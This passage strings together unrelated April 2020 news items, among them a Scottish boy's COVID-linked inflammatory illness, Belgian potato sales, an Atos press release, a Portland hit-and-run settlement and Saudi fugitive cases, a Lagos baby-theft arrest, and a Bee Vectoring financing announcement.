weeks, followed by the eyes of children becoming red and swollen. It can also cause the lips to dry up and crack, a sore throat, swollen lymph glands and the tongue to become red, the NHS warns. The second phase of Kawasaki disease often causes symptoms such as abdominal pain, vomiting, diarrhoea, headaches, joint pain and jaundice. In the third phase, symptoms tend to disappear but children 'may still have a lack of energy and become easily tired during this time'. Advertisement Lewis was admitted to hospital in Aberdeen before being transferred to an intensive care unit in Glasgow, where he tested positive for the virus. Lewis is in a critical but stable condition and is showing signs of improvement, although his family must wear protective equipment while visiting. Ms Simpson spoke about Lewis's ordeal to warn parents that children with COVID-19 can show different symptoms to adults. Ms Simpson, who is currently staying in a Glasgow hotel to be close to her son, with Lewis's father Wayne, 47, said: 'It all started last Saturday when we discovered he had a temperature. It was really high - about 40.5 degrees. 'At first we didn't think it was anything too major. We assumed he had a bug and that it would pass. 'On the Sunday though, things weren't any better and Lewis started to get progressively worse as the week went on. 'He started being sick, had a sore head and was really tired. We'd already been on the phone to the COVID-19 hub on 111 and they said to make sure he was drinking - if they needed to admit him they would. 'By Thursday, he had developed a measles-like rash on his hands and his eyes went deep red and bloodshot. 'On Friday morning, he woke up in a bad way. We phoned the doctor, who had a quick look at him and they phoned the sick kids' hospital. 'We took him up straight away, and when we got there, he couldn't walk from the car into the building.' Within hours of being taken to hospital, Lochside Academy pupil Lewis had been put on a ventilator to help him breathe. And in the early hours of Saturday, he was transferred to Glasgow by ambulance. Ms Simpson said: 'I have never seen anything like it before. It was so scary. The first few tests they did came back negative for COVID-19. But then they did another one and that came back positive on Sunday night.' Ms Simpson now wants to make other parents aware of tell-tale signs which may show children are suffering from the virus. She said: 'I want to help other parents understand how to spot it. They might show some really strange symptoms which aren't fitting with the normal coronavirus symptoms. Make sure you get them checked and keep pushing to have them tested. The condition is a form of toxic shock syndrome which causes the bodys immune system to attack its own organs HEALTH CHIEFS INSIST THEY ARE 'UNAWARE' OF ANY DEATHS IN BRITISH CHILDREN FROM KAWASAKI-LIKE COMPLICATION Health chiefs yesterday insisted they are 'unaware' of any deaths in British children from a serious 'inflammatory syndrome' thought to be linked to the coronavirus - despite Matt Hancock admitting that 'some' youngsters have mysteriously died with no underlying conditions. Doctors were earlier this week issued an alert about a sharp rise in the number of infants being admitted to intensive care across the UK with the Kawasaki-like disease. Officials have refused to say how many British children have been affected by the illness but up to 20 have fallen critically unwell, according to reports. One child needed to be put on a form of life support after their heart and lungs began to fail. The majority of the patients are thought to be under the age of five. The Health Secretary was yesterday quizzed on LBC about the inflammatory syndrome and admitted he was 'very worried' by the mysterious complication. He was also asked about how many children had died from coronavirus. He originally said all the deceased youngsters had 'significant underlying health conditions' but then backtracked immediately after host Nick Ferrari questioned him about the new inflammatory illness that had prompted the national alert. Mr Hancock then admitted 'some' children with no health woes had succumbed to COVID-19. The Department of Health insisted that Mr Hancock was not referring to children who have died from the inflammatory syndrome potentially linked to the disease - and was discussing COVID-19 deaths in general. Advertisement 'One of the doctors said to us children don't present with a dry cough like adults do. In children, there's an inflammatory reaction which makes it look like an autoimmune disease.' Lewis, who is a brother to Nathan, Sam, Abby, Jorja and Eli, is now showing small signs of progress - and his family are determined to help him pull through. Ms Simpson said: 'Lewis is now making small steady steps towards getting better, although he is still having to have quite a lot of medication and is still on a ventilator. 'He's able to move now and knows when we go into his room, although we can't have very much contact with him and need to wear PPE. 'But he is showing some positive signs and he is definitely in the right place. He will get through this because he is a fighter.' NHS doctors have been warned to look out for severe reactions in children - including symptoms like Lewis's. An urgent alert issued by NHS England said there was a 'growing concern' a COVID-19-related inflammatory syndrome was emerging, a rare form of toxic shock which is said to be similar to Kawasaki disease. Doctors were yesterday issued an alert about a sharp rise in the number of infants being admitted to intensive care across the UK with the 'inflammatory syndrome' over the past three weeks. Most of the children affected already have Kawasaki disease, NHS sources said. Health chiefs today insisted they are 'unaware' of any deaths in British children from the inflammatory syndrome - despite Matt Hancock admitting that 'some' youngsters have mysteriously died with no underlying conditions. Officials have refused to say how many British children have been affected by the illness but up to 20 have been hospitalised, it emerged today. One child needed to be put on a form of life support after their heart and lungs began to fail. The majority of the patients are thought to be under the age of five. But some of the children needing intensive care have tested negative for COVID-19, further complicating the diagnosis and raising questions that another pathogen could be behind the condition. Kawasaki disease is a condition that causes inflammation in the walls of the blood vessels and affects mostly children under five years old. There are roughly eight cases for every 100,000 children in the UK and statistics show it is fatal in three per cent of cases that go untreated. The new COVID-19-linked cases are occurring when someone with Kawasaki disease contracts the virus and it produces complications, the source told the newspaper. Children are not thought to be badly affected by COVID-19 - very few youngsters have died around the world since the pandemic began in December. Their apparent resilience to the disease has baffled doctors for weeks because they are often 'super-spreaders' of viral illnesses such as flu. But children being seen with this syndrome often suffer from stomach pain, heart inflammation and 'gastrointestinal symptoms' - which could include vomiting and diarrhoea. NHS medical director Professor Stephen yesterday urged parents who are worried about a child who is sick and not recovering to seek medical help. Ghanas comedy industry has made great strides in the last few years with our comedians raising their standards and getting international gigs. In spite of the gains made, comedian turned musician, David Oscar, says Ghanaian comedy is still not there yet, and that the Nigerians still rule. Our guys here are doing very well but the Nigerians have the upper hand because of their large population. The Nigerian comedians are exposed and charge huge amounts of money for a performance unlike our comedians in Ghana. Our comedians might be funnier than the Nigerians comedians but in terms of exposure and how much they earn, our comedians cannot be compared to them, he told Graphic Showbiz on Monday, April 20. According to David Oscar, Nigerian comedians such as Basketmouth and Gordons live expensive lifestyles but the same cannot be said of our comedians. If O.B Amponsah were to be a Nigerian, he would be earning five times what they are earning. Nigerians are willing to pay any amount to see their comedians crack their ribs but here in Ghana when you charge GH300 for a show they will say it is too much. We are growing but we are not there yet, he said. He pleaded with corporate bodies to invest hugely in comedy if we want to get to the top. We find it difficult getting sponsorship for comedy events and this shows how we are not prepared to invest in comedy but the corporate entities in Nigeria support their comedy shows. In fact, when it comes to content, our comedians are doing very well and can match up to any comedian outside the country. It is just the support they need, he said. Asked who his favourite Ghanaian comedian is, David Oscar said he would choose Augustin Dennis. Augustin Dennis might not be popular in the Ghanaian space but he is the best. I will choose him over any GH comedian, the guy is something else but it is just unfortunate too many are sabotaging him, he said. Apart from Augustin Dennis, David Oscar also chose Funny Face as his second-best comedian. David Oscar has been in the comedy industry for about a decade. In 2006, while he was studying at the University of Ghana, Legon, he was voted Best Comedy Icon when he participated in the comedy reality series, Stars of the Future, organised by Charterhouse Ghana. He hosted the Laugh a Minute show with DKB on then Viasat 1. For some reasons he put his comedy career on hold in 2014 and decided to pursue music full time, choosing to do Reggae. Source: Graphic Showbiz Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video In a country that claims to be the real birthplace of the finger food that Americans have the temerity to call French fries, rescuing the potato industry might easily be a matter of Belgian national pride. So while a coronavirus lockdown keeps restaurants, bars and many of Belgium's 5,000 frites stands closed, the trade association for the national potato industry is calling on the population at large to do its part by keeping deep fryers fired up on the home front. "Traditionally, Belgians eat fries once a week, and it's always a festive moment," Romain Cools, the Belgapom secretary general, said in a phone interview on Tuesday. "Now, we are asking them to eat frozen fries twice a week at home." The demand for frozen potatoes has nosedived in recent weeks, and the Belgian industry faces a possible loss of 125 million euros ($135.5 million), if hundreds of tons of surplus potatoes don't move this year, Cools said. "This is the first time in my 30-year career that I need to call on authorities for help," Mr Cools said. "The potato sector is so important. It should be helped because it's a flagship for our whole industry." In partnership with the Dutch-speaking Flemish region of Belgium, Belgapom has set up a program to deliver 25 tons of potatoes a week to food banks. Businesses are working to export some of their supplies to Central Europe and Africa, where the demand remains high. Loading Both France and Belgium claim to have invented fried string potatoes as a side dish. But the 'pomme frites" culture is stronger in Belgium, where people share a taste for beer with the chip-eaters in Britain. AP PR-Inside.com: 2020-04-28 11:31:02 Paris, 28 April 2020 Atos, a global leader in digital transformation, brings its technology leadership, skills and innovation resources to the global fight against Covid-19. Through several direct and partner-led initiatives across the globe, Atos is engaged on multiple fronts, providing solutions and computing power to help contain the spread of the virus, support the scientific community, accelerate vaccine research and ensure business continuity for critical activities. An effective response to COVID-19 requires global action and collaboration between public and private actors. We are proud to be helping those working intensively on the frontline in an effort to counteract the pandemic by sharing our resources and solutions. We are now in uncharted territory, but Atos commitment and willingness to help citizens live and work sustainably and confidently in a changing digital landscape during the pandemic and in the long term, remain intact," says Elie Girard, Atos CEO. Helping local authorities contain the spread of the virus The increasing mobility of the population makes containment of diseases harder and the need to act quickly and effectively is essential at every level. Leveraging its public sector and healthcare experience, Atos has designed EpiSYS, an Epidemic Management System (EMS) which gives healthcare professionals a precise overview of an epidemiological situation by storing and managing all patient data and data related to the virus, including tracking and tracing patient incident reports, in real-time. EpiSYS was adopted in Austria in early March to help control the spread of Covid-19 and take strategic decisions in the current crisis. Mobilizing supercomputers and machine learning to speed up research Atos high-performance computers can count thousands of times faster than standard computers. Whether they are used for simulation, to build predictive models, analyze the progress of the disease or develop new treatments, these powerful machines are performing very demanding calculations that prove to be essential in todays race against the clock. Atos' supercomputers are at work around the world. Two of the most powerful supercomputers in France, Joliot-Curie, operated at the CEAs supercomputing center (TGCC), and Occigen, operated at CPUs supercomputing center (CINES), are providing urgent computing access to large computer resources to European research teams involved in the fight against COVID-19. In the UK, Atos BullSequana supercomputer at the Hartree Centre is providing computing power to run simulations of Covid-19 protein behavior. In addition, the JADE national AI supercomputing facility provided and managed by Atos is being used by UK researchers from the Universities of Oxford, Cambridge and Southampton working in the area of biomolecular simulations. This supercomputer, owned by Oxford University and hosted at the Hartree Centre, part of the Science and Technology Facilities Council (STFC), contributes towards efforts in the development of a vaccine against SARS-COV2, anti-viral drugs and to better understand the molecular architecture of the virus and how it functions. Similarly, Atos' supercomputers in Brazil and the Czech Republic are also driving research around Covid-19. Providing business continuity with safe and flexible digital environments Atos' technologies also play a critical role in preserving business continuity amid the pandemic. To answer the challenges that organizations are facing with home office becoming the norm, Atos has built and adapted a comprehensive workplace services offering and delivers end-to-end solutions, from remote management to wireless technology, while ensuring the security of any enterprise environment. It is also essential to ensure government and public authorities are able to continue to supply basic daily needs for every citizens life. In the past weeks, Atos has been able to guarantee service continuity with QoS (Quality of Service) for power utilities and water supplies, like Scottish Water, in various countries thanks to an unwavering commitment and expertise in these industries. Sharing our data science skills with the research community Atos is taking part in the Covid-19 Dataset Challenge, an international competition launched by the White House, asking AI researchers to apply machine learning tools and techniques to help provide answer to key questions about the disease. Atos has a dedicated team of 10 experts working on the project. *** About Atos Atos is a global leader in digital transformation with 110,000 employees in 73 countries and annual revenue of 12 billion. European number one in Cloud, Cybersecurity and High-Performance Computing, the Group provides end-to-end Orchestrated Hybrid Cloud, Big Data, Business Applications and Digital Workplace solutions. The Group is the Worldwide Information Technology Partner for the Olympic & Paralympic Games and operates under the brands Atos, Atos|Syntel, and Unify. Atos is a SE (SocietasEuropaea), listed on the CAC40 Paris stock index. The purpose of Atos is to help design the future of the information space. Its expertise and services support the development of knowledge, education and research in a multicultural approach and contribute to the development of scientific and technological excellence. Across the world, the Group enables its customers and employees, and members of societies at large to live, work and develop sustainably, in a safe and secure information space. Press contact Marion Delmas | marion.delmas@atos.net | +33 6 37 63 91 99 | Attachment WASHINGTON, April 27 (Xinhua) -- U.S. House Committee on Foreign Affairs launched an inquiry into the Trump administration's decision to halt funding to the World Health Organization (WHO), committee chairman Eliot Engel said on Monday. In a letter to Secretary of State Mike Pompeo, the Democratic congressman decried the decision to halt funding as a political distraction from the administration's response to the COVID-19 and demanded that the State Department produce records and information dealing with the decision. "President Trump's decision to halt funding for the World Health Organization (WHO) in the midst of a global pandemic is counterproductive and puts lives at risk," Engel wrote in the letter. Engel said that though the WHO was imperfect, the organization had "played an essential role coordinating among governments around the world, and was quick to declare the spread of COVID-19 a health emergency and a pandemic." The senior congressman pointed out that the WHO had made invaluable efforts to help slow the spread and flatten the curve of the pandemic. "Attacking the WHO, rather than the COVID-19 outbreak, will only worsen an already dire situation by undermining one of our key tools to fight the spreading disease," said Engel. The chairman set a deadline of May 4 for the State Department to hand over documents regarding the decision to withhold funding from the WHO. As the death toll from COVID-19 is increasing across the United States, the White House has tried to deflect criticisms about its earlier blunders by blaming others. Claiming the WHO failed to share information in a "timely and transparent fashion," President Donald Trump earlier this month decided to halt his nation's funding to the agency, a move that has drawn opposition at home and abroad. As of Monday afternoon, the United States reported more than 980,000 COVID-19 cases with over 55,000 deaths, according to the Center for Systems Science and Engineering at Johns Hopkins University. The Lagos State Police Command says it has arrested four persons, including a couple, over the alleged theft of a one-month-old baby. The spokesperson for the police in Lagos, Bala Elkana, confirmed the arrest to the News Agency of Nigeria (NAN) on Tuesday, saying that the suspects were arrested on Sunday by Anthony Village Police Division led by the DPO, Patricia Amadin. Mr Elkana said investigations into the case had commenced and the four suspects were in custody. The baby was recovered from them, he said. A very reliable police source had earlier told NAN that two persons, 41-year-old male and 30-year-old female, were arrested alongside five other passengers in a Toyota Sienna car coming from the eastern part of Nigeria at about 2 a.m. on Sunday. NAN gathered that operatives from Anthony Village Division intercepted the Sienna car at Anthony Oke pindown point while trying to enforce the lockdown order in Lagos and arrested the car, driver and passengers. The police discovered that among the passengers, there was a young man and a woman travelling together with the one-month-old baby. They claimed they had travelled all through the night from Orlu, Imo, to Lagos. Seeing that none of them was exempted from the Presidential lockdown order, all occupants of the vehicle were immediately arrested and taken to the station. Upon interrogation, the young man and woman with the baby claimed that a childless man and his wife here in Lagos had paid N150,000 for the said baby and that they themselves were the courier being used to deliver the baby. However, the facts of their testimonies are distorted and inconsistent. The police suspected that the baby was stolen. About 2.45 a.m. same day, the alleged baby-buyer couple also came to the station in an attempt to retrieve the baby, the source said. NAN further learnt that the couple who came for the baby were detained, while the police were trying to locate the real parents of the child. READ ALSO: The source said the police recovered the birth certificate of the baby which showed she was born on March 23, 2020, outside Lagos. For the paternity of the baby, the maternity where the baby was supposedly born inputted the names of the couple buying the baby who did not leave Lagos as the father and mother of the child. This shows that there is a syndicate somewhere as this is a reflection of an organised crime, the source added. (NAN) The idea was that many tenants, particularly smaller businesses, lacked the time and expertise needed to physically tour dozens of office buildings and negotiate a lease. The app allows tenants to narrow their search based on desired square footage and other criteria. Back-and-forth negotiations with the landlord allow leases to be completed through Truss, which collects a broker commission. Abdulrahman Sameer Noorah was identified by witnesses as the driver of the gold Lexus that swerved around traffic and killed Fallon Smart on August 16, 2016 The city of Portland is set to pay a $395,00 settlement to the family of a 15-year-old girl killed in a 2016 hit-and-run by a Saudi driver who later skipped bail and fled the US on a private jet with the help of his native government. Fallon Smart was just weeks away from her 16th birthday when she was struck and killed by a speeding gold Lexus as she crossed Southeast Hawthorne Boulevard on August 16, 2016. Identified by witnesses to be Saudi student Abdulrahman Sameer Noorah, the driver illegally swerved around stopped traffic before hitting the teenage girl and fleeing the scene at speed. Noorah, who was driving with a suspended licence, was later arrested on charges of first-degree manslaughter and felony hit-and-run. But two weeks before he was set to stand trial, the Saudi consulate posted his $100,000 bond and Noorah returned to the Gulf state in a private jet. Hoping to secure some justice of their daughter, Smarts parents filed a $15.7 million wrongful death lawsuit in Multnomah County Circuit Court in 2018, naming several parties including Noorah and the city of Portland as respondents. Fallon Smart was just weeks away from her 16th birthday when she was struck and killed by a car as she crossed Southeast Hawthorne Boulevard on August 16, 2016 Hoping to secure some justice of their daughter, in 2018 Smarts parents, Fawn Lengvenis and Seth Smart, filed a $15.7 million wrongful death lawsuit in Multnomah County Circuit Court, naming several parties including Noorah and the city of Portland as respondents Through the Bureau of Transportation, Portland was accused of negligence for not making the intersection where Smart was killed safer for pedestrians. According to Oregon Live, the intersection didnt have a marked crosswalk at the time of Smarts death, despite city officials having recorded 420 other crashes along the one-mile stretch of Hawthrone Boulevard between 2005 and 2014, seriously injuring nine and killing one. The city has since added a marked crosswalk, installed a center median and a pedestrian crossing sign at the intersection, lowered the speed limit from 25 mph to 20 mph and made a number of other safety improvements, officials said. The settlement is being offered to the Smart family because the City of Portland fears it could be liable for damages if the family's lawsuit progresses to court, a memo from city senior claims analyst Becky Chiao says. In order to avoid the risk of an adverse jury award, we feel it is prudent to compromise the lawsuit at this time, the memo observed by Oregon Live said. Noorah, a former student at Portland Community College, was 20-years-old when witnesses allegedly saw him swerve his gold Lexus around traffic at 50mph, before running down Smart in the street. The student was later arrested but Smart tragically died at the scene. Noorah (left), who was driving with a suspended licence, was later arrested on charges of first-degree manslaughter and felony hit-and-run in relation to Smart's (right) death. But two weeks before he was set to stand trial, the Saudi consulate posted his $100,000 bond and Noorah returned to the Gulf state in a private jet It would later be revealed Noorah driven two miles away from campus to a sand-and-gravel yard, where he cut off a tracking device on his ankle before boarding a private jet back to Saudi Arabia A month after the crash Noorah had his $100,000 bond posted for him by the Saudi Arabian government. Then on June 10, 2017 two weeks before he was due to stand trial for first-degree manslaughter Noorah was picked up from college in a black GMC Yukon XL, before vanishing. It would later be revealed Noorah driven two miles away from campus to a sand-and-gravel yard, where he cut off a tracking device on his ankle before boarding a chartered private back to Saudi Arabia. The U.S. Marshals suspected the Saudi natives escape was orchestrated by his home countrys government, though the KSA has vehemently denied any involvement. No flights through the US or Canada showed up with his name leading investigators to believe Saudi Arabia gave him a passport under a different name to cross a border. After Noorahs vanishing act, dozens of similar cases of student Saudi nationals fleeing the country to evade prosecution after posting bail were unearthed - suggesting the practice has been going on for decades. Saudi National Students Who've Fled Oregon and Escaped Prosecution Abulrahman Sameer Noorah - Fatal hit and run of Portland teenager Abulrahman Sameer Noorah Noorah's case sparked outrage in 2016. He vanished just two weeks before he was due to stand trial on manslaughter charges for killing 15-year-old Fallon Smart with his car when she was crossing a road in Portland in August 2016. Noorah had been released from jail at the time on a $100,000 bond that the Saudi consulate paid. He vanished after being picked up from his college campus in a black SUV. Suliman Ali Algwaiz - Drunken hit and run of a homeless person Suliman Ali Algwaiz Portland State University student Suliman Ali Algwaiz was arrested in August 2016 after he drunkenly struck a homeless man with his car. The victim suffered a litany of injuries to his head and body. Algwaiz fled the scene but was later sentenced to 90 days in jail. Algwaiz was serving his sentence at weekends, but vanished before completing the 90 days and a warrant for his arrest is still outstanding. Waleed Ali Alharthi - Child porn Alharthi who was an Oregon State University student, was found in possession of child porn in April 2015. Waleed Ali Alharthi Police found pornographic videos on his laptop involving children. He was arrested and booked on 10 counts of encouraging child sex abuse. The consulate also put up the security deposit for his $500,000 bail. Alharthi attended multiple court hearings related to his case but failed to attend a status check in April 2015. His lawyer told the court that she feared he was dead but authorities learned he had flown from Mexico City to Paris the week before. Abdulaziz Al Duways - Rape Duways was arrested in December 2014 over the rape of a female classmate at Western Oregon University. Abdulaziz Al Duways Arrest affidavits related to his case show that the alleged victim accused Al Duways of giving her marijuana and whiskey shots prior to the attack. She called 911 during the alleged attack and when police arrived they found her crying in his bed. Al Duways had allegedly told her: 'Tell them I'm your girlfriend' and 'I'll give you anything. I'll do anything if you don't tell them'. He was charged with rape and held on a $500,000 bond. Days later, a Saudi consulate official paid his bond and Al Duways vanished before he faced court. In 2012, Oregon State University student Ali Hussain Alhamoud was charged with raping a young woman. He was released on bail, which the Saudi government posted, and he flew back to Saudi Arabia that same day. Mohammed Zuraibi Al-Zoabi Sami Suliman Almezaini Mohammed Zuraibi Al-Zoabi - Sexual Assault Al-Zoabi disappeared in December 2018 from Nova Scotia, Canada, after being charged with sexual assault, assault and forcible confinement of a woman between 2015-17. Saud Alabdullatif - Rape and kidnap of Spokane County, Washington, disappeared in May 2016. He was charged with forcible second-degree rape and unlawful imprisonment after he forced a woman to perform oral sex on him that month. Sami Suliman Almezaini - Rape Almezaini was accused of raping his female roommate in July 2017, the same month he disappeared. Faisal Altaleb - Sexual Assault Altaleb disappeared from Montana, disappeared November 2016, after he allegedly sexually assaulted a woman he linked up with at a bar. Abdullah Almakrami, of Milwaukee, Wisconsin, disappeared one month after he allegedly sexually assaulted a woman at his apartment in March 2014. Hani Alshammary - Sexual Assault Alshammary is accused of sexually assaulting a woman in April 2014. He was charged with attempted rape, forcible compulsion, unlawful restraint, harassment and disorderly conduct. Ali Hussain Alhamoud Ali Hussain Alhamoud - Sexual Assault and Rape Alhamoud is accused of sexually assaulting a woman on Valentine's Day in 2012 in Toledo, Ohio. He was bailed out of county jail on charges including first degree rape. The same day, he boarded a plane and left for Saudi Arabia. Muqrin Majah Albalawi - Assault including stabbing another Saudi student in the shoulder Albalawi was under investigation in Washington in 2016 when he boarded a plane back to Saudi Arabia. He had been at a bar when he got in a fight with another student, followed him into the bathroom where he kicked down the door then beat and stabbed him in the shoulder. Rashed Almarri, Abdulhadi Alras, Abdulhadi Binshafiah and Ali Binshafiah - Assault Almarri, 28, Alras, 21, Binshafiah, 26, and Binshafiah, 21, were arrested in July 2015 after allegedly using pool cues, bottles and other makeshift weapons to attack multiple people in a bar near The University of Toledo after they refused to end their pool game at closing time. Fahad Al Ghuwainem Three people were hospitalized with injuries as a result. They fled the scene in a Porsche SUV. But six days later, they were bailed out of jail by Bankers Insurance Co., which frequently does business with the Saudi Arabian government. They then flew from Chicago to Qatar. Fahad Al Ghuwainem - Rape at gay bar Ghuwainem disappeared in December 2014, two months after he allegedly raped a man with male accomplice after the three linked up at a gay bar. Advertisement Oregon passed a bill in October last year called the Saudi Fugitives Declassification Act, which requires the FBI to reveal what it knows of the cases that range from sexual assault to rape. The information surrendered revealed the Saudi government 'almost certainly' helped its citizens escape prosecution for serious crimes they were charged with in the US, and American officials looked the other way for years. Details on how the Saudis were getting their nationals out of the US were not included in the report. The scope and frequency of how often Saudi citizens were escaping justice also was not released. However, it is the first time a federal law enforcement agency acknowledged the secret practice, which isn't so uncommon with wealthy nations seeking to quash alleged misdeeds by its nationals abroad. While allies, the US and Saudi Arabia do not have an extradition treaty, making it difficult and unlikely that a Saudi national charged with a crime in the US would be released without diplomatic or political pressure. Mumbai, April 28 : Maharashtra Chief Minister Uddhav Thackeray on Tuesday called up Uttar Pradesh Chief Minister Yogi Adityanath and urged him to take stringent action against those involved in the killing of two sadhus (mendicants) in Bulandshahr earlier in the day. "I called up the UP CM and expressed concern over the brutal killings today. We are all with the (Uttar Pradesh) government in tackling such heinous crimes," said Thackeray. He pointed out that on April 16, a similar incident of two sadhus and their driver being lynched had taken place in Palghar in which the Maharashtra government had initiated strong action. "We are hoping that you will follow suit and give the strongest punishment to the accused in the (Bulandshahr) incident," Thackeray said. The Chief Minister said he had also appealed to his Uttar Pradesh counterpart that "nobody should attempt to give the (Bulandshahr) incident any communal overtones". It may be recalled that four days after the Palghar mob-lynching case, a pertrubed Adityanath had called up Thackeray and demanded action against the perpetrators of the crime against the sadhus, belonging to a Varanasi ashram. Thackeray had assured prompt action in the matter and subsequently, around 110 accused villagers -- including the five masterminds -- have been arrested in the case till date. On April 20, Union Home Minister also spoke with Thackeray after which the state government had handed over the mob-lynching case to the Crime Investigation Department (CID) which is now probing the case. Mississauga, Ontario and Sacramento, California--(Newsfile Corp. - April 28, 2020) - Bee Vectoring Technologies International Inc. (TSXV: BEE) (OTCQB: BEVVF) (CVE: BEE) (the "Company" or "BVT") is pleased to announce that it has entered into a definitive agreement (the "Agreement") with Alumina Partners (Ontario) Ltd. ("Alumina") that secures a commitment of up to $6,000,000 CDN (Six Million Dollars) in an at-will financing facility (the "Facility"). The Agreement enables BVT to continue its growth strategy to bring its groundbreaking, natural precision agricultural technology to market while maintaining complete financial flexibility and freedom. The financing is at the sole discretion of BVT, which provides the Company with the ability to access funds when necessary. There are no transaction fees associated with the Facility, no minimum amounts that must be drawn down and no penalties in the event that BVT elects not to draw upon the Facility. "This is a strong endorsement from Alumina Partners, a leading New York-based private equity firm. Their investment will provide the Company with the financial capability to ensure BVT can execute on its business plan," said Ashish Malik, CEO of the Company. "This flexible arrangement will give us control over the timing and the amount of capital needed to continue the execution and expansion of BVT's growth strategy." "Alumina looks forward to helping BVT accelerate their plans to progress deployment and further development of their natural precision agriculture system," added Adi Nahmani, Managing Member of Alumina Partners. "We have been very impressed by the elegance of the company's strategy. Using bees to deliver targeted micro-doses of natural pest and disease control agents can potentially change the face of modern agriculture." Michael Collinson, Chairman of the Company added, "The Company made major accomplishments in 2019: we transitioned from being an R&D company to a commercial enterprise with EPA approval and increasing sales from growers in multiple crops. We have been able to secure a significant financing arrangement, even in these uncertain times of the COVID-19 pandemic. That speaks volumes for the strength of BVT's fundamentals, including its vast global market opportunity, the ability of its experienced management team to execute the business plan, an extensive worldwide patent portfolio and strong agriculture industry relationships with both partners and growers. It's an exciting time to be a part of the BVT community." Story continues Pursuant to the terms of the Agreement, the Company has the right to draw down from the Facility for a period of thirty-six months in equity private placement tranches of up to $500,000 (each a "Tranche"). Each Tranche will be at the sole discretion of the Company and can occur at any time upon the Company giving notice to Alumina. Each Tranche will be comprised of units ("Units"), with each Unit consisting of one common share (each a "Share") and one common share purchase warrant (each a "Warrant"). Each Unit shall be priced at a discount of between 15-25% from the closing price of the Shares on the day prior to BVT's draw down notice to Alumina. Each Warrant will be exercisable for a period of twenty four (24) months from the closing date at an exercise price that is a 25% premium to the market price of the Shares. The Warrants will also contain an accelerated expiry provision, should BVT's Shares trade for a period of 10 consecutive trading days at a premium of at least 100% above the Warrant exercise price. Each draw down from the Facility will be subject to TSX-V approval. All securities issued will be subject to a statutory hold period that expires four (4) months and one (1) day from issuance. About Bee Vectoring Technologies International Inc. BVT, an agriculture technology company, is a market disruptor with a significant global market opportunity in the $240 billion crop protection and fertilizer market. BVT has pioneered a natural precision agriculture system that replaces chemical pesticides and wasteful plant protection product spray applications by delivering biological pesticide alternatives to crops using commercially grown bees. BVT's award-winning technology, precision vectoring, is completely harmless to bees and allows minute amounts of naturally-derived pesticides (called biologicals) to be delivered directly to blooms, providing improved crop protection and yield results than traditional chemical pesticides - and improving the health of the soil, the microbiome and the environment. Currently, BVT has over 65 granted patents, over 35 patents pending in all major agricultural countries worldwide, and has US EPA registration of its VECTORITE with CR-7 (EPA Registration No. 90641-2) for sale as a registered biological fungicide for use on the labeled crops. Additional information can be viewed at the Company's website www.beevt.com. To receive regular news updates from the Company, subscribe at www.beevt.com/newsletter. Contact: Ashish Malik, President & CEO info@beevt.com Babak Pedram, Investor Relations Virtus Advisory Group Tel: 416-995-8651 bpedram@virtusadvisory.com Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. Certain statements contained in this press release constitute "forward-looking information" as such term is defined in applicable Canadian securities legislation. The words "may", "would", "could", "should", "potential", "will", "seek", "intend", "plan", "anticipate", "believe", "estimate", "expect" and similar expressions as they relate to the Company, "annual revenue potential", are intended to identify forward-looking information. All statements other than statements of historical fact may be forward-looking information. Such statements reflect the Company's current views and intentions with respect to future events, and current information available to the Company, and are subject to certain risks, uncertainties and assumptions, including: planted acres of strawberries in Florida, selling price of competitive chemical pesticides and the US to Canadian dollar exchange rate. Material factors or assumptions were applied in providing forward-looking information. Many factors could cause the actual results, performance or achievements that may be expressed or implied by such forward-looking information to vary from those described herein should one or more of these risks or uncertainties materialize. These factors include changes in law, competition, litigation, the ability to implement business strategies and pursue business opportunities, state of the capital markets, the availability of funds and resources to pursue operations, new technologies, the ability to protect intellectual property rights, the ability to obtain patent protection for products, third-party intellectual property infringement claims, regulatory changes affecting products, failing research and development activities, the ability to reach and sustain profitability, dependence on business and technical experts, the ability to effectively manage business operations and growth, issuance of debt, dilution of existing securities, volatility of publicly traded securities, potential conflicts of interest, unlikelihood of dividend payments, the potential costs stemming from defending third-party intellectual property infringement claims, the ability to secure relationships with manufacturers and purchasers, as well as general economic, market and business conditions, as well as those risk factors discussed or referred to in the Company's Filing Statement dated May 29, 2015, filed with the securities regulatory authorities in certain provinces of Canada and available at www.sedar.com. Should any factor affect the Company in an unexpected manner, or should assumptions underlying the forward-looking information prove incorrect, the actual results or events may differ materially from the results or events predicted. Any such forward-looking information is expressly qualified in its entirety by this cautionary statement. Moreover, the Company does not assume responsibility for the accuracy or completeness of such forward-looking information. The forward-looking information included in this press release is made as of the date of this press release and the Company undertakes no obligation to publicly update or revise any forward-looking information, other than as required by applicable law. All figures are in Canadian dollars. ### To view the source version of this press release, please visit https://www.newsfilecorp.com/release/54985 With sirens blazing as a mark of respect, the Delhi Police performed a 'parikrama' of Gurudwara Sri Bangla Sahib Gurudwara on Monday for providing food to nearly one lakh people daily amid the ongoing lockdown imposed by Prime Minister Narendra Modi to curb the spread of coronavirus COVID-19 in the country. The convoy of 100 vehicles, including 35 police vans and 60 motorcycles, was led by Deputy Commissioner of Police (New Delhi) Eish Singhal. It is learnt that some senior officers of Delhi Police also paid obeisance at Gurudwara Sahib and did 'seva' (service) by helping in preparation of 'langar'. Taking to twitter, Prime Minister Narendra Modi also lauded the gesture and said, "Good gesture by the @DelhiPolice. Our Gurudwaras have been doing exceptional work in serving people. Their compassion is appreciable." Good gesture by the @DelhiPolice. Our Gurudwaras have been doing exceptional work in serving people. Their compassion is appreciable. https://t.co/hdTn6vDFtj Narendra Modi (@narendramodi) April 27, 2020 Delhi Sikh Gurudwara Managing Committee President Manjinder Singh Sirsa said the 'parikrama' done by Delhi Police left him touched. He also thanked the Delhi Police, Ministry of Home Affairs and Union Home Minister Amit Shah. "This 'parikrama' should not be seen just as a physical activity. This gesture of the Delhi Police reflects respect of the whole nation towards the Sikh community. We are humbled that the tradition of langar started by Guru Nanak is now seen as the best way to serve the humanity," he told the media. "Gurdwara Sri Bangla Sahib as a token of appreciation for the Sikhs who have been distributing Langar to 1 lakh people daily and also accomodating health care givers in various gurdwaras through DSGMC amid this corona lockdown," tweeted Akali Dal. Gurudwara Sri Bangla Sahib has served langar to nearly 50 lakh people in last 35 days of lockdown and it is learnt that "the langar will continue, come what may". The Gurudwara has also provided its guest houses to doctors, nurses, paramedical and 